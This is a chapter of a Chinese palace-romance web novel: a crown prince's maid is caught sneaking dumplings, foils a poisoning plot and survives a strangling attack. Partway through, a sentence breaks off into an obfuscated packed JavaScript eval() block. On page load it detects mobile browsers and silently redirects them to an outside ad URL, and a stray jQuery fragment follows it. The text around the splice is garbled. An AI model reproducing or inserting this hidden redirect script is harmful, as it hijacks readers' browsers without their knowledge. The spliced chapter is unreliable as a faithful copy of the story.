14. 第十四章
作品:《太子的宠婢》 再有两日就是冬至了。大幽朝上至皇亲贵族,下至平民百姓,都很重视冬至。重视程度不亚于过年。
这两日,太子府的下人为了迎接冬至而忙得脚不沾地。
十几个宫女太监正忙着布置冬至祭天的供桌,金丝楠木的案几上已经摆好了青铜祭器,香炉里青烟袅袅。
厨房里飘来阵阵香气,那是厨娘们在准备冬至要用的饺子馅。
王诗诗大摇大摆地走进厨房,迎面扑来一阵浓郁的香气。灶台上,十几个蒸笼正冒着热气,几个厨娘忙得团团转。
"方嬷嬷!"王诗诗甜甜地唤了一声。
正在和面的方嬷嬷抬起头,看见是王诗诗,脸上立刻堆满了笑:"哎哟,王姑娘来啦!饿了吧?"
王诗诗嘿嘿一笑,点点头:"嬷嬷,我想吃饺子......"
"正好刚出锅一笼芹菜猪肉馅的!"方嬷嬷麻利地装了一盘饺子,"拿去吃吧,小心烫。"
王诗诗接过盘子,眼睛都笑弯了:"谢谢嬷嬷!"她四下张望了一下,蹑手蹑脚地躲到了厨房后面的小院子里。
院子里有一棵老梅树,树下摆着一张石桌。王诗诗坐在石凳上,迫不及待地夹起一个饺子。饺子皮薄馅大,咬一口,鲜美的汤汁在口中迸开,她满足地眯起了眼睛。
"好吃吗?"
王诗诗浑身一僵,缓缓转过头,只见范锦站在她身后,神情有些复杂。
"太、太子爷......"王诗诗慌忙擦擦嘴站起来,“您怎么来了?”
范锦慢悠悠地走过来:“我不来,怎么能知道你躲在这里偷吃。”
"我没有偷吃!"王诗诗矢口否认,一双湿漉漉的眼睛眨呀眨,"是方嬷嬷给我的,奴婢不忍拒绝她的好意。”
范锦冷哼一声,“狡辩!”他上前一步,居高临下地看着她,“方嬷嬷什么都吐露了。”
啊?
这个方嬷嬷,怎么能告密呢?
“按照规矩,偷吃可是要受罚的。”范锦板着脸说道。
王诗诗一慌,连忙说道:“太子爷,奴婢错了,奴婢亲手包一盘饺子给您吃,就当是赔罪好不好?”
“不好!”范锦断然拒绝。
王诗诗愣住了:“那您要怎么罚呢?”
“罚你为本宫包一个月的饺子。”范锦说完,没再给她讨价还价的机会,转身离开了。
王诗诗站在原地,看着范锦离去的背影,只觉这日子太苦了。
她只会简单热个馒头煮个稀饭什么的,哪里会包什么饺子啊!这狗男人分明是在为难她。
可她又不敢不从,苦着脸回到厨房,见方嬷嬷笑眯眯地迎上来,她立刻生气地责问:“方嬷嬷,你怎么什么都跟主子说了?”
“啊?说什么了?”方嬷嬷一头雾水:“诗诗姑娘为何这般责问老奴?”
“若不是你告密,主子怎会知道我偷吃饺子的事?”
方嬷嬷愣了一下,随即喊冤:“姑娘误会了,老奴可什么都没说啊。”
王诗诗见她不承认,更加生气:“主子说就是你告的密。”
方嬷嬷急得直跺脚:“姑娘明鉴,老奴真的没有,老奴敢对天发誓!”
王诗诗眯起眼睛:“当真没有?”
“千真万确!”方嬷嬷急忙指向厨房里一圈的厨娘丫鬟:“她们都可以为老奴做证!”
厨房里的众人纷纷点头:“是啊,方嬷嬷什么都没说。”
王诗诗明白了,肯定是范锦诈她的。
这个狗男人,真是阴险狡诈!
“是我误会你了,方嬷嬷。”王诗诗愧疚地说道。
方嬷嬷松了口气:“姑娘明白就好。太子走的时候吩咐了,让老奴教你包饺子。”
王诗诗看向案板上摆着的面粉和馅料,一个头两个大。
“老奴先教姑娘怎么和面吧。”
“嗯。”王诗诗点了点头,挽起了袖子。
方嬷嬷将面粉倒入盆中,一边加水一边讲解:“和面要慢慢来,水要一点点加……”
王诗诗认真地听着,一直学了十几遍,总算掌握了技巧,面团开始变得光滑。
她如释重负,开始学包饺子。她学了一个上午,总算包出了几个像样的饺子。虽然形状还是歪歪扭扭的,但至少不会露馅了。
这样的饺子自然是不能送到范锦面前,王诗诗叹了口气,继续练习。
“姑娘别灰心。”方嬷嬷安慰道,“第一次包饺子能包成这样已经很不错了。”
王诗诗点点头,努力打起精神。她经过不断练习,终于包出了像样的饺子。
她小心翼翼地将饺子放进蒸笼里,心里充满了成就感。
然而就在这时,有人趁方嬷嬷不注意,偷便将一包毒药塞进了她手里。
王诗诗浑身一僵,低头看向手中的纸包。
“把这包药放进太子的饺子里。”那人压低嗓音道,“事成之后,三皇子保你荣华富贵。”
王诗诗握紧手中的纸包,心跳如鼓:“现在还不是时候。”
“你没有选择。”那人威胁道,“要么照做,要么死。”
王诗诗咬了咬唇:"好,我做。”
"别耍花样!"那人厉声警告。
"嗯。"王诗诗低声应道,强压下心中的恐惧。她握紧手中的毒药包,慢慢走向蒸笼。
蒸笼里,她精心包制的饺子正冒着热气。王诗诗的手微微发抖,她知道,自己必须想办法拖延时间。
"快点!"那人催促道。
王诗诗深吸一口气,假装在打开毒药包。她故意放慢动作,同时用余光观察四周。厨房里,方嬷嬷正在远处忙碌,完全没有注意到这边的异常。
"你在磨蹭什么?"那人压低声音,语气中带着威胁。
"这,这药包打不开......"王诗诗故意装出慌乱的样子,“你过来看看是怎么回事。”
那人犹豫了一下,还是走了过来。就在他靠近的瞬间,王诗诗猛地抓起一把面粉撒向他的眼睛。
"啊!"那人猝不及防,被面粉迷了眼睛。
王诗诗趁机向外冲,但她低估了那人的反应速度。那人虽然眼睛看不见,却一把抓住了她的手腕。
"找死!"那人怒喝一声,将王诗诗拽了回来。
王诗诗拼命挣扎,却无济于事。那人将她按在墙上,另一只手掐住了她的脖子。
"既然你不听话,那我便送你去见阎王好了!"那人恶狠狠地说道。
王诗诗呼吸困难,眼前开始发黑。就在她以为自己要晕过去的时候,突然听到一声厉喝:"住手!"
那人一惊,手上的力道松了些。王诗诗趁机挣脱,跌坐在地上大口喘气。
她抬头看去,只见暮山带着一队侍卫冲了进来。那人见势不妙,转身就要逃跑,却被暮山一把抓住。
"想跑?"暮山冷笑道,"晚了。"
那人挣扎着,却无济于事。暮山将他制服,转头看向王诗诗:"你没事吧?"
王诗诗摇摇头,眼泪却不由自主地流了下来。她抬手擦了擦眼角,声音有些颤抖:“我……我没事,谢谢你,暮侍卫。”
暮山点了点头,目光再次变得冷峻。他瞥了一眼地上的人,冷冷道:“把此人带下去交给主子亲自审讯!”
王诗诗跪坐在太子范锦的书房内,脸色苍白如纸,脖颈上还留着几道明显的淤青指痕。她的长发有些凌乱,眼中噙着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106018|163875||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
泪水,声音颤抖着,带着几分委屈与后怕:“殿下,事情的经过就是这样的。”
范锦的目光落在她脖颈上的淤青上。
那些指痕很深,可见刺客当时用了多大的力气。他的眼神暗了暗,命令:“过来!”
王诗诗不明白他突然要自己过去做什么,没敢问,起身走到他面前。不想他伸手托起她的下巴,仔细查看她脖颈上的伤痕。
“怎么回事?”他的声音低沉,带着一丝压抑的怒意。
王诗诗的眼泪忍不住再次滑落,她低下头,声音哽咽:“殿下,奴婢差点就再也见不到您了……”
范锦的眼神一冷,语气中带着不容置疑的威严:“是刺客掐的?”
王诗诗抽泣着:“是的,他说奴婢不听话,要掐死奴婢。”
范锦的脸色瞬间阴沉下来,眼中闪过一丝杀意。他轻轻抚过王诗诗脖颈上的伤痕,声音冷得像冰:“三皇子真是越来越不知死活了。”
王诗诗感受到他指尖的温度,心中微微一颤,眼泪更加止不住地往下掉。她抬起头,泪眼朦胧地看着范锦,声音带着几分哀求:“殿下,奴婢真的好害怕。若不是暮侍卫及时赶到,奴婢恐怕已经……”
范锦看着她那楚楚可怜的模样,声音不自觉地柔了下来:“你今日受惊不小,回去好好歇着,这两日就不用过来伺候了。你若有什么需要,随时吩咐他们。”
王诗诗眼中顿时亮起一丝光彩,连忙点头:“谢谢殿下,您人真好!”
待王诗诗退下后,范锦沉声唤道:“来人!”
暮山迅速走进来,单膝跪地:“主子,刺客已经咬舌自禁了。”
范锦闻言,眉头骤然一皱,眼中闪过一丝冷厉,声音低沉而冰冷:“暮山,你失职了。”
暮山低着头,语气恭敬而冷静:“属下知罪,请主子责罚。”
范锦冷冷地看着他,目光如刀般锐利,声音中带着不容置疑的威严:“下去领三十军棍。记住这次的教训,若有下次,就不是军棍这么简单了。”
“属下明白,谢主子责罚。”
王诗诗回到自己的房间,关上门的瞬间,双腿一软,整个人顺着门板滑坐在地上。她的后背紧贴着冰冷的木门,仿佛这样才能找到一丝安全感。
她的手指不自觉地抚上脖颈,那里还残留着被掐住时的剧痛。每一次呼吸,喉咙都像是被火烧过一般刺痛。
若是当时暮侍卫没有及时赶到……
这个念头一冒出来,王诗诗就感觉一阵寒意从脚底直窜上来。她紧紧抱住自己的双膝,将脸埋进臂弯里。
她从未如此清晰地感受到死亡的威胁,那种窒息般的恐惧感仿佛还萦绕在周围,让她喘不过气来。
寂静的房间里,任何一点响动都让她心惊肉跳。
窗外的风声,树叶的沙沙声,甚至是自己的心跳声,都像是刺客逼近的脚步声。
王诗诗就这样蜷缩在门边,始终保持着警惕的姿势,直到最后实在撑不住困意,才摇摇晃晃地站起身,拖着沉重的步子走向床榻。她的双腿早已麻木,每走一步都像是踩在棉花上,虚浮无力。
床榻就在几步之外,可这段距离却仿佛走了很久。她终于跌坐在床边,手指颤抖着解开外衣的系带。衣衫滑落,露出她单薄的身躯,脖颈上的淤青格外刺目。
她钻进被褥,将自己紧紧裹住,却依然感觉不到丝毫温暖。她将脸埋进枕头里,试图寻找一丝慰藉,可脑海中不断闪现的画面却让她无法平静。
黑暗中,她仿佛又看到了那双充满杀意的眼睛,感受到了那只掐住她脖子的手。她的呼吸开始急促,手指紧紧攥住被角,指节发白。即便知道这只是幻觉,她也无法摆脱那种濒死的恐惧。